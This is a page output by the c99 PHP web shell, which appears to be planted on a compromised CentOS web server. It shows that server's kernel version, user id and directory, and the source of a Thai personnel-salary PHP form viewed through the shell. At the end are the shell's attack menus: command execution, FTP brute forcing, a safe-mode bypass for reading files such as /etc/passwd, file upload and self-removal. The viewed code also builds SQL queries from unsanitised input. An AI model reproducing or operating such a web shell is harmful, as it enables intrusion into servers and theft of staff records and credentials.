!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/_manage_depart/   drwxr-xr-x
Free 52.81 GB of 127.8 GB (41.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddMonyN.php (29.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start();

 if (session_is_registered("valid_user")&&session_is_registered("Priority"))
 {
include("../include/FunctionDB.php");
include("../include/Function.php");

ConnectDB();
 $sql3 = "Select * From   salary_type_tb   WHERE  Flag='1'    ";
 $result3= mysql_query($sql3) or die(" Error").mysql_error();
  $rs11 = mysql_fetch_array($result3);
$sql = "Select * From  personal_tb  Where Teacher_code='$Teacher_code' ";
$result = mysql_query($sql) or die(" Error").mysql_error();
$rs = mysql_fetch_array($result);
/////////////////////////////////
$sql2 = "Select * From salary_repot_tb  Where  Teacher_code='$Teacher_code'  Order  By   Code   DESC ";
$result2= mysql_query($sql2) or die(" Error").mysql_error();
$rss = mysql_fetch_array($result2);
/////////////////
 $sql4 = "Select * From   history_position_tb   Where  Teacher_code='$Teacher_code' AND  Flag ='Y'   ";
$result4= mysql_query($sql4) or die(" Error").mysql_error();
$rs4 = mysql_fetch_array($result4);
         $sql5 = " SELECT *  FROM    budget_year_tb  ";
          $result5= mysql_query($sql5) or die(" Error").mysql_error();
          $rs5 = mysql_fetch_array($result5);
?>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<table width="615" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="615">
        <fieldset>
        
        <label></label>
       
        <form id="form1" name="form1" method="post" action="InsertSalary.php">
        <span style="padding:10px 0px 5px 10px">
       
        </span><br />
        <table width="573" border="0" align="center" cellpadding="2" cellspacing="2" style="border:1px solid #EEEEEE">
              <tr bgcolor="#FFCC99">
                <td height="25" colspan="2" bgcolor="#F8F8F8" align="center" class="PATRON11"><strong><span class="style5">เพิ่มประวัติเงินเดือนรายรับและราย-จ่าย บุคลากร</span></strong></td>
            </tr>
              <tr bgcolor="#FFEFDF">
                <td width="159" height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF" class="PADDING-TOP-10"><font face="Tahoma">เงินเดือน</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10 PADDING-TOP-10"><font color="#003366" size="2" face="Tahoma"></font> <input name="Salary_1" type="text" id="Salary_1" value="<? echo $rs4[Salary]?>" size="8" /></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เงินค่าตอบแทน ตำแหน่ง</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#003366" size="2" face="Tahoma"></font> <input name="Salary_2" type="text" id="Salary_2" value="<? echo $rs4[Salary_2]?>" size="8" /></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เงินประจำตำแหน่ง</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#003366" size="2" face="Tahoma"><input name="Salary_3" type="text" id="Salary_3" value="<? echo $rs4[Salary_3]?>" size="8" /></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">รหัส </font></td>
                <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#003366" size="2" face="Tahoma"><?php echo $rss[Teacher_id] ;?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">ชื่อ 
                - นามสกุล</font></td>
                <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"> <strong>
                  <?php
                            echo "$rs[First_name]";
                      ?>
                  <?php
                            echo "$rs[Teacher_name]";
                      ?>
                  <?php
                            echo "$rs[Teacher_lastname]";
                      ?>
                </strong></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เดือน</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
              <select name="Start_mont" id="Start_mont" class="select" >
                    <? getThaiMonth();?>
                </select>
                </font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">ปีงบประมาณ</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#0000FF" size="2" face="Tahoma">
                <input name="Start_year" type="text" id="Start_year" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs5[Budget_year]?>" size="3" />
                </font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ตำแหน่งการวิจัย</font></td>
                <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"> <? echo  $rs[R_position]?></font></td>
              </tr>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='1' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_1" type="text" id="Costt_20" value="<? echo $rs[Costt_1]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='2' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_2" type="text" id="Costt_2" value="<? echo $rs[Costt_2]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
             <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='3' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_3" type="text" id="Costt_3" value="<? echo $rs[Costt_3]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='4' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_4" type="text" id="Costt_4" value="<? echo $rs[Costt_4]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='5' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_5" type="text" id="Costt_5" value="<? echo $rs[Costt_5]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
             <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='6' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_6" type="text" id="Costt_6" value="<? echo $rs[Costt_6]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='7' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_7" type="text" id="Costt_7" value="<? echo $rs[Costt_7]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='8' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_8" type="text" id="Costt_8" value="<? echo $rs[Costt_8]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='9' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_9" type="text" id="Costt_9" value="<? echo $rs[Costt_9]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='10' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_10" type="text" id="Costt_10" value="<? echo $rs[Costt_10]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='11' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_11" type="text" id="Costt_11" value="<? echo $rs[Costt_11]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='12' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_12" type="text" id="Costt_12" value="<? echo $rs[Costt_12]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='13' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_13" type="text" id="Costt_13" value="<? echo $rs[Costt_13]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='14' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_14" type="text" id="Costt_14" value="<? echo $rs[Costt_14]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='15' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_15" type="text" id="Costt_15" value="<? echo $rs[Costt_15]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='16' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_16" type="text" id="Costt_16" value="<? echo $rs[Costt_16]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='17' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_17" type="text" id="Costt_17" value="<? echo $rs[Costt_17]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='18' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_18" type="text" id="Costt_18" value="<? echo $rs[Costt_18]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='19' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_19" type="text" id="Costt_19" value="<? echo $rs[Costt_19]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='20' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_20" type="text" id="Costt_20" value="<? echo $rs[Costt_20]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?> 
      
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='21' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_21" type="text" id="Costt_21" value="<? echo $rs[Costt_21]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
          
                <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='22' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_22" type="text" id="Costt_22" value="<? echo $rs[Costt_22]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
        
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='23' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_23" type="text" id="Costt_23" value="<? echo $rs[Costt_23]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
          
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='24' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_24" type="text" id="Costt_24" value="<? echo $rs[Costt_24]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
      
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='25' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_25" type="text" id="Costt_25" value="<? echo $rs[Costt_25]?>" size="8" />
                </font></td>
              </tr>
              <?php } #if ?>
              <?php //} # if( $rs['Filetex'] != "" ) { ?>
              <tr bgcolor="#FFEFDF">
                <td height="10" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"></td>
                <td height="10" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="10" colspan="2" align="center" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span style="padding:5px 0px 5px 0px">
                  <input type="submit" name="Submit" value="  บันทึกข้อมูล  " class="button" id="Submit" />
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  <input type="reset" name="Submit" value=" เคลียร์ข้อมูล" class="button" id="Submit" />
  &nbsp;&nbsp;&nbsp;</span>
                <input type="button" name="close" value="ปิดหน้าต่าง" onclick="window.close()" id="close" />
                <span style="padding:5px 0px 5px 0px">
                <input type="hidden" name="Teacher_code" value="<? echo $rs[Teacher_code]?>" />
                <input  type="hidden" name="Teacher_id" value="<? echo $rs[Teacher_id]?>" />
                <input name="StatusId"  type="hidden" id="StatusId" value="<? echo $rs[StatusId]?>" />
                <input name="Faculty_code"  type="hidden" id="Faculty_code" value="<? echo $rs[Faculty_code]?>" />
                <input name="Person_type"  type="hidden" id="Person_type" value="<? echo $rs[Person_type]?>" />
                </span></td>
              </tr>
          </table>
          </form>
    
          <div align="center"></div>
        </fieldset>
  </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='21' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><br />
    </font></td>
  </tr>
</table>
<?php 
    }
else 
{
 //      echo"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
//       echo"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0106 ]--